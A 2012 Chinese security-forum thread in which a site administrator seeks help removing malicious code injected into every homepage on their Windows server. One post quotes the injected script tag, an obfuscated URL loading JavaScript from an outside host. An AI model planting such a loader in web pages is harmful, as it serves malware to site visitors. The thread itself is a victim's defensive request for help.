瑞星卡卡安全论坛技术交流区恶意网站交流 求救:网站被黑恢复后总有代码删不掉,急求解!!!

12   1  /  2  页   跳转页

[求助] 求救:网站被黑恢复后总有代码删不掉,急求解!!!

收藏
本主题由 大版主 networkedition 于 2012-7-10 15:42:11 执行 合并主题 操作
ying8125
头像
初生襁褓狮
  • 帖子:22
  • 注册: 2006-10-25
  • 来自:
发表于： 2012-07-06 11:09 | 显示全部 短消息 资料
字号： 小 中 大 1楼

求救:网站被黑恢复后总有代码删不掉,急求解!!!

网页顶部代码无法删除,急!!!

网站首页顶部总是有病毒代码.已经用了很多方法清除,如:恶意代码清除器,强力杀等,查杀同时把疑是病毒的带he1p.asp后缀的连文件夹都删了

但现在从浏览器里一打开首页还是有.目前软件查杀已经杀不出病毒了。从网页源代码里看也是干净的.怎么能把那段代码去掉.尽量不想重做服务器.

望各位大侠给支支招!!

用户系统信息：Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.2; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; 360SE)

附件附件:

文件名:ts.jpg
下载次数:1229
文件类型:image/pjpeg
文件大小:
上传时间:2012-7-6 11:09:49
描述:代码位置
分享到：
gototop
 
ying8125
头像
初生襁褓狮
  • 帖子:22
  • 注册: 2006-10-25
  • 来自:
发表于： 2012-07-06 11:13 | 显示全部 短消息 资料
字号： 小 中 大 2楼

求救!! 网页顶部代码无法删除,急!!!

网页顶部代码无法删除,急!!!

网站首页顶部总是有病毒代码.已经用了很多方法清除,如:恶意代码清除器,强力杀等,查杀同时把疑是病毒的带he1p.asp后缀的连文件夹都删了

但现在从浏览器里一打开首页还是有.目前软件查杀已经杀不出病毒了。从网页源代码里看也是干净的.怎么能把那段代码去掉.尽量不想重做服务器.

望各位大侠给支支招!!

用户系统信息：Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.2; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; 360SE)
gototop
 
ying8125
头像
初生襁褓狮
  • 帖子:22
  • 注册: 2006-10-25
  • 来自:
发表于： 2012-07-06 11:20 | 显示全部 短消息 资料
字号： 小 中 大 3楼

回复 2F networkedition 的帖子

是的.用杀毒软件断网查杀了好几次,已经杀不出毒来了.
网页代码我也都检查过了,是干净的.
但就是首页顶部一直有那段代码,去不掉.从网页里看不到这段,只是从浏览器打开就有.
网址是http://www.ineast.com
gototop
 
ying8125
头像
初生襁褓狮
  • 帖子:22
  • 注册: 2006-10-25
  • 来自:
发表于： 2012-07-06 11:29 | 显示全部 短消息 资料
字号： 小 中 大 4楼

回复 5F networkedition 的帖子

是我们公司自己的服务器.
装的360,上面有ARP的防护.但是一直有.主要是想把这段代码赶紧去掉.或是找出源头.
我的QQ号:79978070,您可以加我.
gototop
 
ying8125
头像
初生襁褓狮
  • 帖子:22
  • 注册: 2006-10-25
  • 来自:
发表于： 2012-07-09 10:43 | 显示全部 短消息 资料
字号： 小 中 大 5楼

急!!网页被挂马去不掉,好几天了


急!!我们的服务器是WIN2003的,最近所有的网站首页顶部都被代入一段代码,从源文件里看不到,无法删除,360杀毒也杀不出来什么,用了其他的一些工具也不行.请问有没有高手能帮忙解决@@急!!代码如下:
<script language=javascript src=http://f%70r.A%74Her%53ite.c%6Fm/b.js?google=7x011></script>

与此同时发现系统文件夹里有一个CryptWan.dll文件夹是病毒吗 ,删除或是打开这个文件都不行,提示拒绝访问.
还用UNLOCKER和恶意代码清除器分别尝试了,也没有作用.

用户系统信息：Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.2; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; 360SE)
gototop
 
ying8125
头像
初生襁褓狮
  • 帖子:22
  • 注册: 2006-10-25
  • 来自:
发表于： 2012-07-09 11:07 | 显示全部 短消息 资料
字号： 小 中 大 6楼

回复 10F networkedition 的帖子

CryptWan.dll，不能压缩，报一个：不能读取 C:\WINDOWS\system32\CryptWan.dll\* 的内容
打开的话就报拒绝访问。
现在正在全盘搜索：global.asa这个文件
gototop
 
ying8125
头像
初生襁褓狮
  • 帖子:22
  • 注册: 2006-10-25
  • 来自:
发表于： 2012-07-09 11:14 | 显示全部 短消息 资料
字号： 小 中 大 7楼

回复 11F networkedition 的帖子

正在扫描日志，先把搜到的global.asa文件发上来

用户系统信息：Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.2; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; 360SE)

附件附件:

下载次数:324
文件类型:application/octet-stream
文件大小:
上传时间:2012-7-9 11:14:31
描述:rar
gototop
 
ying8125
头像
初生襁褓狮
  • 帖子:22
  • 注册: 2006-10-25
  • 来自:
发表于： 2012-07-09 11:15 | 显示全部 短消息 资料
字号： 小 中 大 8楼

回复 10F networkedition 的帖子

这是查到的
global.asa文件.
http://bbs.ikaka.com/showtopic-9176921.aspx
gototop
 
ying8125
头像
初生襁褓狮
  • 帖子:22
  • 注册: 2006-10-25
  • 来自:
发表于： 2012-07-09 11:33 | 显示全部 短消息 资料
字号： 小 中 大 9楼

回复 10F networkedition 的帖子

现将扫描好的日志发上来,您给看看.

用户系统信息：Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.2; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; 360SE)

附件附件:

文件名:SREngLOG.log
下载次数:304
文件类型:application/octet-stream
文件大小:
上传时间:2012-7-9 11:33:54
描述:log
gototop
 
ying8125
头像
初生襁褓狮
  • 帖子:22
  • 注册: 2006-10-25
  • 来自:
发表于： 2012-07-09 11:35 | 显示全部 短消息 资料
字号： 小 中 大 10楼

回复 5F networkedition 的帖子

http://bbs.ikaka.com/showtopic-9176923.aspx
这里面的附件是扫描的日志结果.您看看.谢谢
gototop
 
<<上一主题|下一主题>>
12   1  /  2  页   跳转页
页面顶部
Powered by Discuz!NT